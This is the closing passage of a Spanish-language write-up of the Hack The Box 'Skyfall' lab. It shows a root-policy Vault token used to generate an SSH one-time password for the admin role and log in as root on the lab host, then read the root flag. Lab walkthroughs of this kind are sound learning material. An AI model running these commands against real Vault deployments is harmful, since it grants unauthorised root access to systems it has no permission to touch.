12token_accessor       bXBeXR3r92WGQ8XgEDx6pIFu
13token_duration       ∞
14token_renewable      false
15token_policies       ["root"]
16identity_policies    []
17policies             ["root"]

Ahora vemos que la policy es de root no de developer

Podemos comprobar otra vez los roles SSH.

1$ vault list ssh/roles
2Keys
3----
4admin_otp_key_role
5dev_otp_key_role

Ahora podemos generar un token OTP para acceder por SSH como root

 1$ vault ssh -role admin_otp_key_role root@10.129.230.158                                                 
 2WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication                                    
 3mode to use. In the future, you will need to tell Vault which mode to use.                                       
 4For now, Vault will attempt to guess based on the API response. This guess                                       
 5involves creating a temporary credential, reading its type, and then revoking                                    
 6it. To reduce the number of API calls and surface area, specify -mode                                            
 7directly. This will be removed in Vault 1.1.                                                                     
 8Vault could not locate "sshpass". The OTP code for the session is displayed                                      
 9below. Enter this code in the SSH password prompt. If you install sshpass,                                       
10Vault can automatically perform this step for you.                                                               
11OTP for the session is: 8332584b-b160-c8d1-71ad-f07c1a4356a4                                                     
12flag provided but not defined: -p
13Usage of vault plugin settings:
14  -ca-cert string
15.....

Ahora iniciamos sesión utilizando el token OTP 8332584b-b160-c8d1-71ad-f07c1a4356a4 como contraseña.

 1$ ssh root@10.129.230.158
 2(root@10.129.230.158) Password: 
 3Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/pro
 8
 9This system has been minimized by removing packages and content that are
10not required on a system that users do not log into.
11
12To restore this content, you can run the 'unminimize' command.
13Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
14
15Last login: Wed Mar 27 13:20:05 2024 from 10.10.14.46
16root@skyfall:~# id
17uid=0(root) gid=0(root) groups=0(root)

Podemos leer la flag de root

1root@skyfall:~# cat root.txt 
27df601471d54e17a...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Skyfall   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Exploiting HTTP Parser Inconsistencies   #403 Bypass   #MinIO Enumeration   #Information Disclosure   #CVE-2023-28432   #S3 Enumeration   #Vault Enumeration   #Abusing Vault SSH OTP   #Bypass Unix Permissions   #FUSE   #Abusing User_allow_other